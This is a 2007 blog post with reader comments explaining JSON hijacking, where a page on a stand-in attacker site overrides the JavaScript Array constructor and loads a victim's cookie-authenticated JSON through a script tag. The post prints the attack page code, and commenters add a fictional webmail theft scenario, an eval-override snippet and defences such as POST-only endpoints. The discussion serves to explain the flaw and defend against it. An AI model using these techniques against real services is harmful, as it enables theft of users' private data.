Tuesday, March 6th, 2007

The safety of JSON

Category: JSON, Security

Joe Walker is talking about the safety of JSON. He has talked about CSRF in the past, and this time he delves into the Array/JSON hack:

Here’s how it works, and you can follow along with any JavaScript console:

  1. Redefine the Array constructor:
    function Array() { alert("hi"); }
  2. Verify that this constructor is called when arrays are created:
    var a = [ 43 ];
  3. Use the new feature to manipulate the array:
    function Array() {
      this[1] = 50;
    }
    var a = [40];
    alert(a[0] + a[1]); // Gives 90
    

So we can call secure JSON data using CSRF with a script tag to by-pass the cookie authentication, and then use the JSON/Array hack to steal the JavaScript data from the browser as it processes the script-tag.

So we’ve redefined the Array constructor, how do we actually get the data out? The syntax below works in current versions of Firefox, although from my reading of the spec proposals, it’s not a part of Javascript 2, and it appears to fail in IE/Safari/Opera.

Create a web page at evil.com, with a couple of script tags like this:

<script type='text/javascript'>
function Array() {
  var obj = this;
  var ind = 0;
  var getNext = function(x) {
    obj[ind++] setter = getNext;
    if (x) alert(Data stolen from array: " + x.toString());
  };
  this[ind++] setter = getNext;
}
</script>
<script type='text/javascript' src='http://bank.com/jsonservice'> </script>

How safe is your JSON?

Posted by Dion Almaer at 12:01 am
24 Comments

++++-
4.3 rating from 29 votes

24 Comments »

Comments feed TrackBack URI

If your server returns JSON and you don’t want others to be able steal it with script tags, just put some dummy Javascript at the beginning of the JSON response and then filter it out later. e.g.,
===
throw 1;
{“name”:”bob”, “age”:65}
===
If it is downloaded with a script tag, the exception will prevent it from being executed. If it is downloaded with XHR, then you can filter out the “throw” with a simple regexp and then parse the response properly.

Comment by Nathar Leichoz — March 6, 2007

@nathar – but raw JSON data isn’t usable via a script tag unless its set to a variable or it is within a callback function.

Comment by Dr Nic — March 6, 2007

Doesn’t this hack only work if you eval() your JSON? If you’re getting your JSON from an unsecure source you should use a parser.

Comment by Chris — March 6, 2007

@ Chris: As fair as I know, JSON “parsing” only consists of verifying if the JSON string is well formated before running eval.

Comment by Tobie Langel — March 6, 2007

Doesn’t this come down to protecting your stuff via the server side? I mean JavaScript is JavaScript and you can extend, override and all that stuff with it. This is by no means new. I have an app that pulls down sensitive data, but when you request it via Ajax, it makes sure the user has the rights to view it on the server side or simply fails. You cannot tell it you have the rights via JavaScript, it uses the data stored in the database to figure that out.

Comment by jd — March 6, 2007

Witht he first example of using throw to prevent this – don’t you think the person hijacking your json would think to parse out the throw like you do?

The last commentor is correct. No bank service, as in the example http://bank.com/jsonservice, would leave their json strings open for free access across the net. With sensitive information it is vital to check for user authenication, etc – the same way you would if you were loading an other server side data and to only serve to the clients with proper credentials.

Comment by Paul Visco — March 6, 2007

Unless i’m wrong about the way this hack works, would you not have to be authenticated with the “bank” before it returns any sensitive data? Kinda like trying to steal your tv from your own house and you have the key.

Comment by cdude — March 6, 2007

This attack apparently only works if your JSON data is an array. Wrap it in an object and it doesn’t work.

Comment by Patrick Fitzgerald — March 6, 2007

I’m with jd on this, I don’t see why you would worry about someone getting at data you have already pushed to the front end. If you’re really worried about exposing sensitive data, it should never leave your server until it the request for it has been authenticated. Interesting find, but I don’t see what the concern is about.

Comment by Brad Harris — March 6, 2007

2cdude: This is where XSS comes… :)

Comment by jeka911 — March 6, 2007

jeka911, please elaborate on how cross site scripting allows you to gain access to restricted data without authentication. Thanks.

Comment by cdude — March 6, 2007

JSON is a format, and is not insecure.

The practice of returning JSON-encoded data as a sort of “callback”, so that it can be embedded 3rd party as a script tag, is a wholly separate thing, and THAT is what is insecure.

As for the “just use an object” poster: the object constructor can be overridden just as easily as the array constructor.

Comment by 5057349 — March 6, 2007

i dont see this a big issue in this aswell. i verify always 3 things.. the data that is being sent, the data that is returned, and if the viewer is authorized. All data is not bound to a user or item. The relations are made up serverside. So in this case an attacker can do whatever he wants with the JSON.. he may even paint it pink.. i dont care. Secure communication has to fear nothing from Javascript. Besides, i cant possibly think of any reason to allow a user to insert script tags nor read sensitive data across domain borders.

Comment by Kjell Bublitz — March 6, 2007

But if you have a installed greasemonkey you can hack anything you want, you need use javascript just to be cool your site but no for do important things

Comment by Alecs — March 6, 2007

Seems like most people here miss the point. Here is a simple, fictional example:

1) User logs into gmail.

2) While he is logged in, a (AJAX) request to http://gmail.com/mailsummaries_json?mailbox=inbox returns [“hello”, “registration password: foobar”, “you are fired!!1!”], the summaries of the user’s inbox.

3) While the user is logged into gmail, he visits evil.com (by accident)

4) At evil.com, the attacker has this in the page:
<script src=”http://gmail.com/mailsummaries_json?mailbox=inbox”></script>

The browser fetches the script source, http://gmail.com/mailsummaries_json?mailbox=inbox, with the logged-in user’s credentials, so the response actually is the data described in 2)
The gmail server has no reliable way to discover that the request is not part of a gmail.com page rendering.

So far, this would not be a problem. The response does not assign the data to a variable, it also does not call a callback function, so the data is not accessible later in the page.

Now here comes the Array.constructor magic described in the original article. When evil.com changes the constructor as described, the data can be copied to some global variable when the script engine parses the response data and creates the array.
Then the data is transfered to the evil.com server via AJAX.

That’s all.

Note: Data returned as {foo: bar, …} is safe. evil.com can rewrite the Object constructor, but there will be a parse error when used as <script src=>-content before it can kick in. In your Ajax routines, you would use “$value = eval($data)”, and it would work all right.

Comment by Martin Bialasinski — March 6, 2007

Addendum: http://gmail.com/mailsummaries_json is also safe against this attack, if it only reacts to POST requests, of cause.

Comment by Martin Bialasinski — March 6, 2007

Why not just overwrite the eval() method?
Sounds easier to me.

(function(){
var evil = window.eval;
window.eval = function(s){
alert( s + ‘ is stolen’ );
return evil(s);
};
})();

var jsonString = ‘{“name”:”bob”, “age”:65}’

var jsonData = eval(jsonString);

Comment by Hedger — March 7, 2007

2cdude:

Check this: http://ha.ckers.org/weird/javascript-website-login-checker.html

It’s just simple thing, but it takes data from user session on other sites…
User is logged in at “bank site”, then open page with “json hacking”, and scripts from “bank site” is loading now with user auth…

Martin Bialasinski gave simple example how to use it…

Comment by jeka911 — March 7, 2007

Hedger: As the response from http://gmail.com/mailsummaries_json?mailbox=inbox in my example only contains the data and no call to eval, changing eval on the evil.com site will not have any effect.

Comment by Martin Bialasinski — March 7, 2007

It seems that there is a lot of confusion about this, everywhere I’ve read about it on the web so far.

Please, PLEASE don’t move past this post until you understand that your JSON is insecure if you:

* Use cookies for authentication; and
* Produce JSON in response to GET requests.

There is good information here about why. It’s worth reading again and again until you agree with me. It doesn’t matter whether your JSON is returned as an array or an object; it’s still vulnerable to this hack.

The solution I’m using is to require JSON requests to be POSTed, but I’m on the lookout for more elegant solutions …

Comment by Luke Arms — March 7, 2007

A return content of

{“foo”: 1}

is not vulnerable to this attack, you get a “invalid label” parse error.

Comment by Martin Bialasinski — March 8, 2007

Does checking the referer a method to prevent the attack?

Comment by angus — March 9, 2007

JSON is for making data freely available a’cross-domain.
Web developers who want to check for security should read
“Security” section at http://www.json.org/JSONRequest.html

Comment by biju — March 9, 2007

I am not sure if I understand.
But every time I make a request using AJAX to my server, I first check if the current session is allowed to access my controller (User login) and then i check if the request is a $_POST… if this passes the test i just echo the json to the javascript and then eval() it…
How would anyone be able to hack when I checked it via server side? How would they be able to get the data when in the first place they won’t be able to access the script? enlighten me…

Comment by wenbert — May 6, 2008

Leave a comment

You must be logged in to post a comment.